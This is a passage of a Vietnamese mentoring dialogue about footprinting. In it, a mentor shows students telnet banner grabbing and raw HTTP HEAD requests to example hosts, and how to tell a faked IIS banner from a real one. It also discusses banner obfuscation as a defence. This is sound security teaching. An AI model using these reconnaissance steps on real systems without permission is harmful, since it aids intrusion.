/&gt;&lt;br /&gt;'haothu' trả lời:&lt;br /&gt;"Số lượng chính xác thì em không có rồi đó nhưng em nghĩ rằng số 'kiddie' chắc là chiếm đa số, sau đó là đến nhóm 'hacker bán chuyên'. Nhóm 'hacker chuyên' thì có lẽ chỉ chiếm thiểu số mà thôi."&lt;br /&gt;&lt;br /&gt;Tôi hỏi tiếp:&lt;br /&gt;"Vậy, em thử hình dung có bao nhiêu phần trăm 'kiddie' sẽ tìm tòi 'footprint' khi vớ phải một công cụ dùng để tấn công nào đó? Có bao nhiêu phần trăm dân 'bán chuyên' phải mó tới chuyện 'footprint'? Và nếu họ (cả 'kiddie' lẫn 'dân bán chuyên') không mó đến chuyện 'footprint' thì tỉ lệ thành công sẽ nằm ở mức nào?"&lt;br /&gt;&lt;br /&gt;Không đợi 'haothu' trả lời, 'docco' chen vào:&lt;br /&gt;"Theo em thì tỉ lệ thành công gần như không có. Nếu cứ nhắm mắt mà phang đại thì chẳng khác gì chó ngáp nhằm ruồi cả."&lt;br /&gt;&lt;br /&gt;Tôi đúc kết điểm thắc mắc của 'haothu':&lt;br /&gt;"Vậy thì xét trên căn bản, việc tìm 'footprint' là việc rất cần thiết cho quá trình thậm nhập chớ gì? Đồng ý với nhau điểm này rồi chứ?"&lt;br /&gt;&lt;br /&gt;'ccxx' đáp ngay:&lt;br /&gt;"Em thì thấy điều này sáng tỏ như con thỏ vậy. Chỉ có điều em còn hơi ấm ức là vì em muốn 'đào xới' thêm cho ông Khoa thấy là muốn dùng công cụ nào đó đúng mức thì mình phải có kiến thức căn bản cho vấn đề này."&lt;br /&gt;&lt;br /&gt;'cuti' tiếp theo:&lt;br /&gt;"Em cũng vậy."&lt;br /&gt;&lt;br /&gt;'docco' cũng cho cảm nghĩ và đưa ra vấn đề kế tiếp:&lt;br /&gt;"Chắc chắn là việc tìm 'footprint' là việc cần thiết rồi. Bây giờ em muốn hỏi anh là tìm 'footprint' bao gồm những điểm chính nào. Anh cũng hiểu là em chưa dám đặt bọn em ở vị trí là 'dân chuyên', cũng chẳng muốn đặt bọn em ở vị trí là 'kiddie' nên có lẽ bọn em cần hiểu nguyên tắc tìm 'footprint' nhưng đám 'bán chuyên' vậy :)"&lt;br /&gt;&lt;br /&gt;Tôi trả lời, không quên ghẹo 'cuti':&lt;br /&gt;"OK 'ccxx', anh nghĩ em sẽ có dịp thực hiện ý định thôi. Chắc chắn mình sẽ đụng đến chuyện này. Còn 'cuti', em cũng vậy có nghĩa là 'bà tiền hô, ông hậu ủng' hả? ;-)."&lt;br /&gt;&lt;br /&gt;Tôi tiếp tục:&lt;br /&gt;"Anh nhớ hồi nãy em có nhận xét là dân 'bán chuyên' thường dựa vào bug-track và trên bug-track thường có ghi rõ hệ điều hành, phiên bản của nó và phiên bản software của dịch vụ. Nếu vậy, theo em nghĩ, xác định 'footprint' là xác định những cái gì một cách cụ thể?"&lt;br /&gt;&lt;br /&gt;'docco' liền đáp lời:&lt;br /&gt;"Oài... quá hiển nhiên mà anh? Tất nhiên là mình xác định ba điều chính:&lt;br /&gt;- mục tiêu chạy trên hệ điều hành nào&lt;br /&gt;- phiên bản của hệ điều hành đó&lt;br /&gt;- software tạo dịch vụ là software gì, có phiên bản nào&lt;br /&gt;phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Đúng rồi. Nhưng... em nên tự tin hơn. Cố gắng đừng kèm thêm đoạn 'phải không anh' làm chi :). Nếu 'không phải' hoặc chưa đầy đủ thì anh sẽ ý kiến liền. Đừng lo.&lt;br /&gt;&lt;br /&gt;Rồi, vậy thì mình khai triển ba điều 'docco' đưa ra vậy. Câu hỏi thứ nhất được đặt ra: làm sao xác định được mục tiêu chạy trên hệ điều hành nào?"&lt;br /&gt;&lt;br /&gt;'bộ tứ' im lặng, trầm ngâm hồi lâu. Sau đó 'cuti' lên tiếng:&lt;br /&gt;"Em nhớ là em đã có đọc qua vài đoạn về chuyện này nhưng lúc đó em không cho là quan trọng nên không ghi nhận nó. Hình như là 'banner' cái gì gì đó."&lt;br /&gt;&lt;br /&gt;'docco' chêm vào:&lt;br /&gt;"À, đúng rồi, 'banner grabbing'. Đây là một cách lấy thông tin mình cần về hệ điều hành và phiên bản của mục tiêu phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Đúng rồi, đây là một cách dễ nhất, thông dụng nhất và có thể có kết quả cực kỳ chính xác hoặc cực kỳ sai lạc."&lt;br /&gt;&lt;br /&gt;'ccxx' ngạc nhiên:&lt;br /&gt;"Sao kỳ vậy anh? làm sao mà vừa có thể chính xác và sai lạc?"&lt;br /&gt;&lt;br /&gt;Tôi cắt nghĩa:&lt;br /&gt;"Thông thường banner grabbing như thế này, giả sử mục tiêu có dịch vụ telnet đang lắng nghe, em thử:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;$ telnet myhost.mydomain.com&lt;br /&gt;Red Hat Linux release 9 (Shrike) myhost.mydomain.com&lt;br /&gt;myhost login:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cho mình thấy ngay mục tiêu đang chạy trên RedHat và phiên bản là 9.0. Thông tin này có thể hoàn toàn chính xác nếu như admin của server này hoàn toàn không thay đổi, che dấu footprint của hệ thống. Nếu vậy thì thông tin cần biết đã có một cách dễ dàng. Tuy nhiên, làm sao xác định được thông tin này xác thực? Nếu mục tiêu không mở dịch vụ telnet thì có thể làm gì khác để xác định thông tin này?"&lt;br /&gt;&lt;br /&gt;'haothu' không trực tiếp trả lời câu hỏi của tôi mà lại hỏi tiếp một câu khác:&lt;br /&gt;"Ủa, sao anh không cho thông số giá trị cổng dịch vụ ở trên vậy? Em thấy thường thường lệnh telnet đi theo thông số địa chỉ và cổng mà?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"À, nhiều người bối rối chi tiết rất nhỏ này. Khi em dùng lệnh telnet và chỉ có thông số thứ nhất là địa chỉ nhưng không kèm theo thông số thứ hai là cổng thì telnet dùng cổng (đích) mặc định là 23 (cổng telnet). Nói một cách khác, nếu em không cung cấp giá trị cổng thì telnet client (chương trình telnet em dùng trên command prompt là telnet client) sẽ tự động truy cập đến địa chỉ đã cho ở cổng 23. Nếu em cung cấp địa chỉ và cổng thì telnet client sẽ truy cập đến địa chỉ ấy ở cổng được ấn định. Ví dụ, em gõ&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;$ telnet www.mysite.com 80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;thì telnet client sẽ truy cập đến địa chỉ là www.mysite.com ở cổng 80. Rõ rồi chứ?"&lt;br /&gt;&lt;br /&gt;'haothu' ậm ừ:&lt;br /&gt;"Dạ... nhưng... ùm... mỗi lần em dùng telnet trên windows để telnet đến cổng nào đó, sau em chẳng thấy có chữ gì hết, chỉ có cái command prompt đen ngòm vậy anh? Hay em làm gì sai?"&lt;br /&gt;&lt;br /&gt;Tôi đáp, hơi thiếu kiên nhẫn:&lt;br /&gt;"À, mấy cái này là do telnet trên Windows không có 'echo' đó thôi. Nếu em gõ Run/cmd rồi trên dos-prompt này em mới gõ telnet thì Windows sẽ dùng telnet client bên trong command window (DOS-console) và em không set 'echo' được cho nên nó... đen ngòm. Nếu em thử gõ Run/C:\Winnt\system32\telnet.exe thì Windows sẽ tạo một process riêng biệt cho telnet client và nó ở trong tình trạng tạm gọi là "full mode", lúc ấy em có thể set 'echo' được. Trong chế độ này, em có thể set biến LOCAL_ECHO và nó sẽ hiện ra chữ mỗi khi em gõ thôi. Mấy cái này có trong phần "help" của Windows cả. Em chịu khó tìm hiểu chi tiết chớ mình mà đào sâu mấy thứ này thì đi xa trọng tâm đó em."&lt;br /&gt;&lt;br /&gt;'haothu' trả lời:&lt;br /&gt;"Dạ. Chắc do em chưa mày mò đúng mức thôi."&lt;br /&gt;&lt;br /&gt;'cuti' chen vào:&lt;br /&gt;"Mấy cái này đúng nghĩa là 'hiểu rõ', 'hiểu ngọn ngành' đây. Ui... biết chừng nào mới 'ngọn ngành' mọi thứ đây trời?"&lt;br /&gt;&lt;br /&gt;Tôi tiếp tục:&lt;br /&gt;"Thằng này cứ than với thở. Từ từ thì sẽ ngọn ngành thôi em. Em phải đụng đến nó, phải chịu khó thì mới nắm được nhiều. Thôi mình tiếp tục chuyện hồi nãy đi hả?"&lt;br /&gt;&lt;br /&gt;'docco' hỏi ngay:&lt;br /&gt;"Vậy nếu mục tiêu ấy không có dịch vụ telnet thì mình telnet vào một dịch vụ khác phải không anh?"&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Đúng rồi. Nhưng lý do tại sao mình telnet vào một dịch vụ khác?"&lt;br /&gt;&lt;br /&gt;'docco' trả lời:&lt;br /&gt;"Hình như dịch vụ nào cũng có cái 'banner' hết phải không anh? Nếu vậy, khi mình telnet vào dịch vụ, có nghĩa là mình muốn kết nối với dịch vụ ấy thì nó thường 'chào' mình bằng một biểu ngữ?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Đúng lắm. Hình như em có ngâm cứu qua mấy cái này rồi phải không Duy?"&lt;br /&gt;&lt;br /&gt;'docco' đáp:&lt;br /&gt;"Hì hì, đúng là không qua mặt anh nổi. Đúng là em có 'ngâm' qua vài thông tin về chuyện 'footprint' đó anh vì lần trước mình có bàn qua về chuyện này. Em nghĩ chắc nó phải quan trọng nên anh mới khai triển nó, cho nên em đọc thêm để nắm thêm thông tin."&lt;br /&gt;&lt;br /&gt;Rất hài lòng với sự chuyên tâm của docco, tôi đáp:&lt;br /&gt;"Hay lắm. Nếu em chuyên tâm như vậy thì em sẽ nắm được chìa khoá của vấn đề một cách nhanh chóng đó Duy :)"&lt;br /&gt;&lt;br /&gt;'docco' lúng túng:&lt;br /&gt;"Dạ... ùm... à.... em chỉ cố quan sát và rút kinh nghiệm từ những lần mấy anh em mình 'đà khía' thôi anh. Em rút ra một điều là anh luôn luôn có dụng ý gì đó khi đưa ra một vấn đề cho nên lần này em lo 'rào' trước, hì hì."&lt;br /&gt;&lt;br /&gt;'cuti' xen vào:&lt;br /&gt;"Em cũng ráng 'rào' nhưng hình nhưng em chưa vững tâm bằng thằng Duy. Em vẫn chưa có thể xác định là tự nên làm cái gì tiếp."&lt;br /&gt;&lt;br /&gt;'haothu' trêu 'cuti':&lt;br /&gt;"Tao thấy mày nên lấy vợ là chuyện tiếp theo mày nên làm... tiếp ;-)"&lt;br /&gt;&lt;br /&gt;Tôi thầm nghĩ, mấy ông tướng này làm sao tránh khỏi chit chat. Vậy cũng vui nhưng phải 'điều tác' một tí không thì sa đà, mất thời gian. Tôi bèn lên tiếng:&lt;br /&gt;"Ừa, nó mà lấy vợ thì chắc khỏi thấy mặt nó luôn. Thôi, mình 'khoá' cái vấn đề đang lở dỡ kia rồi anh phải dọt á."&lt;br /&gt;&lt;br /&gt;'ccxx' lên tiếng:&lt;br /&gt;"Dạ... cám ơn anh cứu bồ, chớ hông thì mấy ổng chọc đến mai cũng không chịu ngưng đâu :(. Em muốn hỏi anh là nếu mấy ông admin biết trước chuyện những tay thâm nhập cố tìm thông tin từ banner để tìm cách tấn công, họ tháo hết mấy cái banner đi thì lấy đâu mà thăm dò hả anh? Em thì không rõ họ tháo mấy cái banner bằng cách nào nhưng em hình dung là nếu gắn lên được thì phải tháo xuống được."&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Ái chà, con bé nói chuyện phòng thủ hả? Đúng là bản năng tự nhiên của phụ nữ ;-). Em đưa ra một điểm hết sức lý thú. Đúng rồi, ngày nay các admin có quan tâm đến bảo mật đều thực hiện việc 'dấu' banner để giảm thiểu thông tin về máy bị tiết lộ. Có nhiều admin còn cực đoan hơn nữa là họ chẳng những dấu mà còn cố tình thay đổi từ A thành B để đánh lừa những kẻ thăm dò nữa."&lt;br /&gt;&lt;br /&gt;'cuti' xen vào:&lt;br /&gt;"Nhưng mà khoan, cho em hỏi một chi tiết này một tí anh? Hình như mình chỉ thấy được cái banner của một dịch vụ khi mình cố tình truy cập nó ở mức độ thấp hơn phải không anh? Ví dụ em dùng Outlook Express để gởi và nhận mail thì làm sao mình thấy được mấy cái banner kia?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Em thắc mắc một điểm rất có lý. Thật ra mail client như Outlook Express 'thấy' hết những cái banner nhưng nó thường 'dấu'. Ngoại trừ em muốn xem cái 'header' của nó. Em thử tìm tòi xem trong mấy cái 'header' của smtp mà mail client nhận được, nó có chút ít 'footprint' không? :). Những dịch vụ khác như ftp, khi em dùng ftp client để truy cập ftp server, nếu ftp server này không dấu banner thì em sẽ thấy ngay cái banner trong lúc truy cập. Dịch vụ http thì lại khác, em không thấy mấy cái banner bởi các trình duyệt ứng dụng để 'hiển thị' những thông tin mà người dùng bình thường cần xem mà thôi. Tuy nhiên, nếu em truy cập http service ở dạng 'raw' (như đi qua telnet) thì em có thể thấy rất nhiều thông tin nếu như server này không dấu banner.&lt;br /&gt;&lt;br /&gt;Nên nhớ một điều là không phải banner nào cũng chứa đựng thông tin về hệ điều hành và phiên bản của nó. Thông thường nó chỉ chứa tên software tạo dịch vụ (mình telnet vào) và phiên bản của nó. Tuy vậy mình cũng có thể phần nào đoán được hệ điều hành dựa trên thông tin này."&lt;br /&gt;&lt;br /&gt;'cuti' đáp một cách thoả mãn:&lt;br /&gt;"À, vậy thì tùy dịch vụ mà tìm banner phải không anh? Nhưng hình như cách dùng telnet là chắc ăn nhất. Nhưng mà em thấy chi tiết 'có thể phần nào đoán được hệ điều hành' có vẻ không được chắc ăn vậy anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ừa, nếu như banner đó là banner thứ thiệt, không hề bị thay đổi. Còn chuyện chắc ăn thì chẳng có gì mà chắc ăn đâu em. Mỗi người có thể tìm kết quả mỗi khác trong quá trình thăm dò bởi vì có quá nhiều thông tin và tùy vào đương sự mà phân tích, chọn lọc thông tin nào logic nhất, đáng tin cậy nhất. Nên nhớ rằng thăm dò không phải là 'hack' nha em. 'Thăm dò' là 'thăm dò', là một quá trình tìm tòi, phân tích những dữ kiện có thể lấy được dựa vào những công cụ, phương tiện cho phép.&lt;br /&gt;&lt;br /&gt;Quay lại nhận định của 'ccxx' một tí cho trót hả? Em nghĩ thế nào khi em thử telnet vào một server và nó cho em thông tin như sau:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;$ telnet www.mydomain.com 80&lt;br /&gt;Trying&lt;br /&gt;www.mydomain.com...&lt;br /&gt;Connected to www.mydomain.com.&lt;br /&gt;Escape character&lt;br /&gt;is '^]'.&lt;br /&gt;HEAD /somefile.txt HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 404 Not Found&lt;br /&gt;Date: Thu, 25 Apr 2004 14:29:46 GMT&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;'ccxx' ngẫm nghĩ rồi trả lời:&lt;br /&gt;"Dạ thông tin ở đây cho thấy server là một con IIS 5.0, em tin chắc đây là một web server chạy trên hệ điều hành Windows 2000."&lt;br /&gt;&lt;br /&gt;Tôi khơi mào:&lt;br /&gt;"Còn mấy đứa có ý kiến gì khác không vậy?"&lt;br /&gt;&lt;br /&gt;Ba trự kia im lặng khá lâu. Sau đó 'cuti' rụt rè lên tiếng:&lt;br /&gt;"Èm... à.... em nghĩ có cái gì tàng ẩn ở đây hay sao đó. Em cũng nghĩ cái này là một con IIS 5.0, mà đã là IIS 5.0 thì nó chạy trên Windows 2000. Không biết có cái gì ẩn khuất ở đây không nhỉ?"&lt;br /&gt;&lt;br /&gt;'docco' cũng lên tiếng:&lt;br /&gt;"Hì hì, thằng Hưng cũng bắt đầu có bịnh hoài nghi rồi. Em cũng nghĩ như Hưng vậy. Tuy nhiên, tự nhiên em cũng hơi hoài nghi vì nếu nó đơn giản và rõ ràng như thế thì anh đưa nó ra làm chi?"&lt;br /&gt;&lt;br /&gt;'haothu' cũng tham gia:&lt;br /&gt;"Chắc chắn là Windows 2000 rồi. Thông tin rõ mười mươi thế kia mà."&lt;br /&gt;&lt;br /&gt;Tôi không trả lời mà đưa ra thêm một ví dụ khác:&lt;br /&gt;"Được rồi, để anh đưa ra thêm một ví dụ khác để tụi em tìm xem có gì đặc biệt không hả? Đây:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;$ telnet www2.mydomain.com 80&lt;br /&gt;Trying&lt;br /&gt;www2.mydomain.com...&lt;br /&gt;Connected to www2.mydomain.com.&lt;br /&gt;Escape character&lt;br /&gt;is '^]'.&lt;br /&gt;HEAD /somefile.txt HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 404 Object Not Found&lt;br /&gt;Server: Microsoft-IIS/5.0&lt;br /&gt;Date: Thu, 25 Apr 2004 14:35:23 GMT&lt;br /&gt;Content-Length: 460&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;Bộ bốn hoàn toàn im lặng nhiều phút đồng hồ. Hồi lâu, 'docco' lên tiếng:&lt;br /&gt;"Em thấy rõ cái thứ nhì khác cái thứ nhất một chút là cái thứ nhì có thêm Content-Length và Content-Type thì hơi khác một chút vì không có đoạn 'charset=iso-8859-1'. Tại sao chúng lại khác nhau ở mấy điểm này? Chắc chắn chúng là 2 server riêng biệt vì một cái là www.mydomain.com, cái kia là www2.mydomain.com. Em chỉ không hiểu được lý do tại sao chúng khác nhau mặc dù cả hai đều là IIS 5.0."&lt;br /&gt;&lt;br /&gt;'ccxx' nhận định:&lt;br /&gt;"Hay là một trong hai server trên có banner giả? Dám lắm đó. Anh đang khai triển việc thay đổi banner phải không nào? Vậy chắc chuyện này có thể lắm."&lt;br /&gt;&lt;br /&gt;'cuti' và 'haothu' cùng cảm thán:&lt;br /&gt;"Ái chà."&lt;br /&gt;"Đúng rồi."&lt;br /&gt;&lt;br /&gt;Tôi cười, thong thả đáp&lt;br /&gt;"Bé Như nhà mình tinh tế lắm. Rõ ràng là mình đang khai thác chuyện thay đổi banner mà. Quả thật một trong hai server trên giả dạng banner đó. Nếu vậy làm sao mình xác định được cái nào thiệt, cái nào giả?"&lt;br /&gt;&lt;br /&gt;'docco' xuýt xoa:&lt;br /&gt;"Ái chà, thật là lý thú. Em không ngờ đào xới mấy cái HTTP header ở tầng này lại có những điều lý thú đến như vậy. Làm sao mình xác định được cái nào thiệt, cái nào giả bây giờ anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Hì hì, anh hỏi em, em hỏi lại anh? Cái này để em suy nghĩ trước cái đã. Anh trả lời liền thì mất hay đi. Em tìm cách thử một cái xem nào?"&lt;br /&gt;&lt;br /&gt;'ccxx' thốt lên:&lt;br /&gt;"A... có rồi, có rồi. Trường mình có một con server chạy Windows 2000 và IIS 5. Cứ thử telnet vào nó và chạy y hệt dòng HEAD như trên ví dụ thì sẽ biết ngay thôi."&lt;br /&gt;&lt;br /&gt;'cuti', 'haothu', 'docco' đồng cảm thán:&lt;br /&gt;"Đúng rồi."&lt;br /&gt;"Ờ hớ."&lt;br /&gt;"Sao mình không nghĩ ra nhỉ? Đúng là đàn bà, con gái tinh tế mấy chuyện này."&lt;br /&gt;&lt;br /&gt;Sau vài phút, 'cuti' lên tiếng trước. Quả thật mấy ông đực rựa nhanh nhảu hơn trong chuyện 'động tay, động chân' nhưng lại chậm hơn mấy cô khoản 'nhận xét tinh tế'&lt;br /&gt;"Thằng thứ nhì đúng là thằng IIS 5.0"&lt;br /&gt;&lt;br /&gt;Tiếp theo đó là 'docco', 'haothu' và 'ccxx' đồng xác nhận:&lt;br /&gt;"Đúng rồi, chắc chắn server thứ nhì chạy con IIS 5.0 thứ thiệt."&lt;br /&gt;"Hết đường thoát."&lt;br /&gt;"Em đã nói thế."&lt;br /&gt;&lt;br /&gt;và nhiều câu trao đổi khác.&lt;br /&gt;&lt;br /&gt;Cái YIM 'conference' bé nhỏ trở nên rộn rã bằng những câu cảm thán. Tôi hiểu sự rộn rã này không phải tính quan trọng hay mới mẻ của những điều bộ bốn tìm thấy mà ở chỗ chính ở chỗ bộ bốn nhúng tay vào việc quan sát, phân tích, thao tác, so sánh và đúc kết ra được. Tôi lên tiếng:&lt;br /&gt;"Trong hai ví dụ trên, còn có chi tiết nào khác nhau giữa hai server? Chi tiết này hết sức đặc biệt. Bọn em xem thử?"&lt;br /&gt;&lt;br /&gt;Như tôi dự phỏng, chính 'ccxx' lại tìm ra điểm khác biệt trước tiên trong bộ bốn. 'ccxx' đáp:&lt;br /&gt;"Em tìm ra rồi. Cái khác nhau là 'HTTP/1.1 404 Not Found' và 'HTTP/1.1 404 Object Not Found' phải không anh? Server thứ nhất chỉ thông báo là 'không tìm thấy' còn con IIS thì lại thêm chữ 'object' vào trong thông điệp."&lt;br /&gt;&lt;br /&gt;'haothu' đáp, vẻ tiếc rẻ:&lt;br /&gt;"Công nhận bà Như lanh thiệt. Tui cũng vừa tìm ra, chưa kịp nói thì bà đã làm xong rồi."&lt;br /&gt;&lt;br /&gt;Tôi hỏi tiếp:&lt;br /&gt;"Vậy bọn em nghĩ điểm khác nhau mà Như đưa ra có gì quan trọng?"&lt;br /&gt;&lt;br /&gt;'cuti' láu táu lên tiếng:&lt;br /&gt;"Em thấy điểm khác biệt này chẳng ích lợi gì cả. Mấy ông Microsoft hay có thói làm cho khác người vậy thôi à."&lt;br /&gt;&lt;br /&gt;'ccxx' nguýt 'cuti':&lt;br /&gt;"Hứ... cũng là chứng nào tật nấy. Chưa suy nghĩ cho kỹ đã đôm đốp nữa rồi. Trong khuôn khổ 'nhận diện', điểm khác biệt kia hẳn phải có một giá trị nào đó chớ?"&lt;br /&gt;&lt;br /&gt;'cuti' lúng búng với 'ccxx':&lt;br /&gt;"Èm... thì anh có nói gì đâu à."&lt;br /&gt;&lt;br /&gt;Tôi can gián ngay:&lt;br /&gt;"Thôi thôi. 'ccxx' nhận định vậy là chính xác. Điểm khác biệt ở đây giúp chúng ta dễ dàng nhận ra đâu là IIS thật, đâu là IIS giả mạo. Trên *nix, apache thường được dùng làm web service nhất. Những ai rành rõi với chuyện biên dịch thường tải mã nguồn của apache về và sửa lại thông tin của banner trong nguồn. Gần đây, những ai dùng apache còn có thêm mod_security cho phép 'giả' banner nữa. Tuy vậy, có dấu banner vẫn không dấu được những đặc điểm khác. Với ví dụ thứ nhất, mình biết ngay đây là banner 'giả mạo'. Chuyện xác định banner thật của nó là gì là chuyện khác nữa nhưng trước mắt mình có thể xác định phần nào đó hệ điều hành đang chạy web server đó không hẳn là Windows 2000. Điều tiếp theo là phải xác định rõ hơn nếu muốn tiếp tục thăm dò."&lt;br /&gt;&lt;br /&gt;'haothu' hỏi:&lt;br /&gt;"Nếu vậy em thấy chuyện giả mạo banner để dấu danh tánh đâu có ích lợi gì cho lắm đâu anh?"&lt;br /&gt;&lt;br /&gt;Tôi cười, hỏi sang 'docco', 'cuti' và 'ccxx':&lt;br /&gt;"Bọn em nghĩ sao về nhận định của 'haothu'?"&lt;br /&gt;&lt;br /&gt;'docco' trả lời trước:&lt;br /&gt;"Em thấy trước tiên nó đánh lừa được mấy ông kiddie. Đây cũng là chuyện ích lợi."&lt;br /&gt;&lt;br /&gt;'cuti' ngần ngừ:&lt;br /&gt;"Em.... em thì thấy nó có lợi khá nhiều. Ngoài chuyện đánh lừa kiddie, nó có thể đánh lừa được cả đống công cụ dùng để tự động thăm dò hông chừng. Em thấy có khá nhiều công cụ dành riêng cho công tác này, cả thương mại lẫn mã nguồn mở. Ví dụ chương trình tự động kia 'nhìn' thấy dịch vụ là IIS thì nó chỉ dùng các lỗi của IIS có trong database của nó mà... nện. Mà nện thế này thì trật lất hết vì thật sự dịch vụ này đâu phải là IIS. Em thấy đây cũng là một điểm hay."&lt;br /&gt;&lt;br /&gt;'ccxx' phát biểu:&lt;br /&gt;"Em thấy tùy mức độ kinh nghiệm của kẻ thăm dò. Nếu thăm dò kiểu như anh nói ở đây thì có ma nào mà dấu nổi. Tuy nhiên, em nghĩ là 'cuti' rất có lý với ý kiến dùng nó để lừa các công cụ tự động."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Hay lắm, ráng 'động não' đều đều hả :). Quả thật, dùng phương pháp thay đổi banner chỉ có thể đánh lừa những người chưa đủ kinh nghiệm và một số tools tự động hoá chưa đủ tinh vi. Tuy vậy, đánh lừa được nhóm 'thăm dò' ở dạng hoàn toàn phó mặc vào công cụ cũng đã là đáng kể vì nhóm này chiếm đa số. Vậy, trên phương diện phòng thủ, liệu mình có nên ứng dụng phương cách 'giả' banner không?"&lt;br /&gt;&lt;br /&gt;'cuti' đáp:&lt;br /&gt;"Em nghĩ là nên. Lừa được chút nào hay chút đó chớ anh? :)"&lt;br /&gt;&lt;br /&gt;'docco' lên tiếng:&lt;br /&gt;"Em nghĩ cũng nên làm nhưng nếu nó không thật sự tác dụng thì không nên quá tốn công sức với nó."&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Đúng rồi. Nếu có thể 'giả' để giảm thiểu những màn thăm dò chung chung thì tại sao không làm? Em nên biết, chỉ có chừng dưới 10% các cú rà tự động được tiếp tục bằng quá trình 'rà' bằng tay để xác định thêm thông tin mục tiêu. Thông thường, quá trình rà tự động chỉ để thu thập một số mục tiêu có thông tin cụ thể mà kẻ thâm nhập muốn tìm. Tuy nhiên, đối với kẻ có quyết tâm thăm dò một mục tiêu cụ thể nào đó thì chuyện 'giả' có lẽ không tác dụng gì mấy.&lt;br /&gt;&lt;br /&gt;Bọn em có nghe đến khái niệm security through obscurity chưa?"&lt;br /&gt;&lt;br /&gt;'docco' đáp:&lt;br /&gt;"Em có thấy nhắc đến nhiều nơi nhưng em không đào sâu lắm vì không rõ tác dụng của nó. Nó là gì vậy anh?"&lt;br /&gt;&lt;br /&gt;Tôi nói tiếp:&lt;br /&gt;"Ừa, security through obscurity dịch nôm na ra tiếng Việt là bảo mật bằng tính bất khả định. Hay nói một cách khác, vì mục tiêu không được rõ ràng nên nó có vẻ bảo mật hơn. Có hẳn một trường phái rất chuộng security through obscurity nhưng bản thân anh thì anh không chuộng bởi vì nó thuộc về cái vỏ bên ngoài mà thôi. Đối với những ai thật sự muốn thâm nhập thì cái 'vỏ' này mỏng manh lắm. Nếu có thời gian và điều kiện thì thêm cái vỏ này cũng tốt nhưng nếu chỉ phó mặc vào nó để 'bảo mật' thì rất phiến diện."&lt;br /&gt;&lt;br /&gt;'cuti' thắc mắc:&lt;br /&gt;"Họ làm sao gọi là 'chuộng' vậy anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"À, 'chuộng' ở đây là họ dành nhiều thời gian, công sức để tạo một lớp vỏ 'giả' để đánh lừa kẻ tấn công. Có thể lớp vỏ này làm chậm bước thâm nhập vì kẻ muốn tấn công vì họ mất thời gian xác định thật tính của mục tiêu. Tuy vậy, thiếu bảo mật từ bên trong ra, thiếu bảo mật thật sự thì lớp vỏ này tan vỡ nhanh chóng."&lt;br /&gt;&lt;br /&gt;'cuti' hỏi tiếp:&lt;br /&gt;"Em nghĩ là chuyện giả một cái banner đâu có mất thời gian đâu anh?"&lt;br /&gt;&lt;br /&gt;Tôi đáp:&lt;br /&gt;"Ừa, đối với mã nguồn mở thì đây là chuyện không mất thời gian cho lắm. Tuy vậy, ít nhất em phải cần thời gian để biên dịch lại software. Đối với software thương mại thì đây là chuyện hoàn toàn khác. Nó dính đến chuyện bản quyền, chuyện giới hạn thay đổi software nên rất phiền phức. Trên mức độ banner thì thế, nhưng chuyện 'đánh lừa' còn đi sâu xuống tcp/ip stack nữa. Họ 'chuộng' phương pháp này đến độ tìm cách thay đổi tcp/ip stack để dấu những đặc tính của các gói tin đi ra / đi vào từ các cổng dịch vụ bởi vì các gói tin này mang những đặc điểm có thể dùng để xác định 'footprint' nữa.&lt;br /&gt;&lt;br /&gt;Nếu em chỉ quản lý một vài máy chủ thì có lẽ không quá phiền phức nhưng nếu em phải quản lý cả một hệ thống chằng chịt có nhiều máy chủ, nhiều thiết bị thì sự thể rất khác. Ngay cả em chỉ quản lý một vài máy chủ mà không cẩn thận, tỉ mỉ thì cũng vô ích bởi vì em có thể 'dấu' đầu này nhưng để lộ đầu kia thì cũng chẳng phục vụ được ý định 'dấu'."&lt;br /&gt;&lt;br /&gt;'cuti' cảm thán:&lt;br /&gt;"Chà... chuyện phức tạp vậy sao anh? Hoá ra bảo mật cũng có năm bảy đường. Em thấy chuyện 'giả' này có vẻ thú vị lắm."&lt;br /&gt;&lt;br /&gt;'docco' xen vào:&lt;br /&gt;"Cho em hỏi một chi tiết nha anh? Anh nói là trên *nix người ta thường thay đổi source của apache hay dùng mod_security để giả banner. Vậy trên Windows và dùng IIS thì có phương cách nào tương tự không anh? Em nghĩ IIS thì không thể điều chỉnh mã nguồn rồi đó."&lt;br /&gt;&lt;br /&gt;Tôi cười, đáp:&lt;br /&gt;"Chà chà, bộ em cũng muốn theo trường phái 'security through obscurity' sao? :). Trên Windows thì có một số soft. Anh không nhớ chính xác vì anh không 'chuộng' mấy cái này nhưng anh biết Windows có một cái gọi là urlscan. Nó làm việc trên tầng ISAPI của dịch vụ web của IIS và cho phép em 'giả' banner đó. Nếu thích thì vào site của Microsoft mà tham khảo thêm. Anh nghĩ em có 